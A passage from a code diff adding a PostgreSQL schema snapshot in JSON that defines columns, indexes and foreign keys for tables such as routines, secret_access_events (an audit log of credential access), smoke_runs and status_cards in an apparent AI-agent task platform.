+          "notNull": false
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "priority": {
+          "name": "priority",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'medium'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "concurrency_policy": {
+          "name": "concurrency_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'coalesce_if_active'"
+        },
+        "catch_up_policy": {
+          "name": "catch_up_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'skip_missed'"
+        },
+        "activity_gate_policy": {
+          "name": "activity_gate_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'always'"
+        },
+        "activity_gate_scope": {
+          "name": "activity_gate_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "origin_kind": {
+          "name": "origin_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'manual'"
+        },
+        "origin_id": {
+          "name": "origin_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "variables": {
+          "name": "variables",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "env": {
+          "name": "env",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_id": {
+          "name": "latest_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_number": {
+          "name": "latest_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_triggered_at": {
+          "name": "last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_enqueued_at": {
+          "name": "last_enqueued_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routines_company_status_idx": {
+          "name": "routines_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_assignee_idx": {
+          "name": "routines_company_assignee_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_project_idx": {
+          "name": "routines_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_folder_idx": {
+          "name": "routines_company_folder_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "folder_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_responsible_user_idx": {
+          "name": "routines_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_origin_idx": {
+          "name": "routines_company_origin_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routines_company_id_companies_id_fk": {
+          "name": "routines_company_id_companies_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routines_project_id_projects_id_fk": {
+          "name": "routines_project_id_projects_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routines_folder_id_folders_id_fk": {
+          "name": "routines_folder_id_folders_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "folder_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_goal_id_goals_id_fk": {
+          "name": "routines_goal_id_goals_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_parent_issue_id_issues_id_fk": {
+          "name": "routines_parent_issue_id_issues_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_assignee_agent_id_agents_id_fk": {
+          "name": "routines_assignee_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "routines_created_by_agent_id_agents_id_fk": {
+          "name": "routines_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_updated_by_agent_id_agents_id_fk": {
+          "name": "routines_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.secret_access_events": {
+      "name": "secret_access_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_scope": {
+          "name": "secret_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_owner_user_id": {
+          "name": "credential_owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_subject_type": {
+          "name": "credential_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_subject_id": {
+          "name": "credential_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consumer_type": {
+          "name": "consumer_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "consumer_id": {
+          "name": "consumer_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "secret_access_events_company_created_idx": {
+          "name": "secret_access_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_secret_created_idx": {
+          "name": "secret_access_events_secret_created_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_user_definition_created_idx": {
+          "name": "secret_access_events_user_definition_created_idx",
+          "columns": [
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_company_credential_owner_idx": {
+          "name": "secret_access_events_company_credential_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "credential_owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_consumer_idx": {
+          "name": "secret_access_events_consumer_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "consumer_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "consumer_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_run_idx": {
+          "name": "secret_access_events_run_idx",
+          "columns": [
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "secret_access_events_company_id_companies_id_fk": {
+          "name": "secret_access_events_company_id_companies_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_secret_id_company_secrets_id_fk": {
+          "name": "secret_access_events_secret_id_company_secrets_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "secret_access_events_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_issue_id_issues_id_fk": {
+          "name": "secret_access_events_issue_id_issues_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "secret_access_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_plugin_id_plugins_id_fk": {
+          "name": "secret_access_events_plugin_id_plugins_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.smoke_run_steps": {
+      "name": "smoke_run_steps",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "path": {
+          "name": "path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scenario_step": {
+          "name": "scenario_step",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "detail": {
+          "name": "detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "screenshot_artifact_ref": {
+          "name": "screenshot_artifact_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "smoke_run_steps_company_run_idx": {
+          "name": "smoke_run_steps_company_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "smoke_run_steps_company_path_idx": {
+          "name": "smoke_run_steps_company_path_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "smoke_run_steps_company_id_companies_id_fk": {
+          "name": "smoke_run_steps_company_id_companies_id_fk",
+          "tableFrom": "smoke_run_steps",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "smoke_run_steps_run_id_smoke_runs_id_fk": {
+          "name": "smoke_run_steps_run_id_smoke_runs_id_fk",
+          "tableFrom": "smoke_run_steps",
+          "tableTo": "smoke_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.smoke_runs": {
+      "name": "smoke_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'running'"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "summary": {
+          "name": "summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "smoke_runs_company_started_idx": {
+          "name": "smoke_runs_company_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "smoke_runs_company_status_idx": {
+          "name": "smoke_runs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "smoke_runs_company_id_companies_id_fk": {
+          "name": "smoke_runs_company_id_companies_id_fk",
+          "tableFrom": "smoke_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.status_card_updates": {
+      "name": "status_card_updates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "card_id": {
+          "name": "card_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "generation_issue_id": {
+          "name": "generation_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "changes": {
+          "name": "changes",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "input_tokens": {
+          "name": "input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "output_tokens": {
+          "name": "output_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cost_cents": {
+          "name": "cost_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "query_version": {
+          "name": "query_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "status_card_updates_card_started_idx": {
+          "name": "status_card_updates_card_started_idx",
+          "columns": [
+            {
+              "expression": "card_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "status_card_updates_generation_issue_idx": {
+          "name": "status_card_updates_generation_issue_idx",
+          "columns": [
+            {
+              "expression": "generation_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "status_card_updates_card_id_status_cards_id_fk": {
+          "name": "status_card_updates_card_id_status_cards_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "status_cards",
+          "columnsFrom": [
+            "card_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "status_card_updates_generation_issue_id_issues_id_fk": {
+          "name": "status_card_updates_generation_issue_id_issues_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generation_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_card_updates_run_id_heartbeat_runs_id_fk": {
+          "name": "status_card_updates_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.status_cards": {
+      "name": "status_cards",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title_pinned": {
+          "name": "title_pinned",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "interest_prompt": {
+          "name": "interest_prompt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queries": {
+          "name": "queries",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "query_version": {
+          "name": "query_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "query_compiled_at": {
+          "name": "query_compiled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "query_compiled_by_agent_id": {
+          "name": "query_compiled_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_policy": {
+          "name": "refresh_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'compiling'"
+        },
+        "pending_change_count": {
+          "name": "pending_change_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "pending_change_hash": {
+          "name": "pending_change_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_change_at": {
+          "name": "last_change_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fingerprint": {
+          "name": "fingerprint",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fingerprint_at": {
+          "name": "fingerprint_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mentioned_issue_ids": {
+          "name": "mentioned_issue_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_update_run_kind": {
+          "name": "last_update_run_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_at": {
+          "name": "last_generated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_model": {
+          "name": "last_model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generating_issue_id": {
+          "name": "generating_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_eval_at": {
+          "name": "next_eval_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_user_id": {
+          "name": "archived_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "status_cards_company_archived_idx": {
+          "name": "status_cards_company_archived_idx",
+          "columns": [
+            {
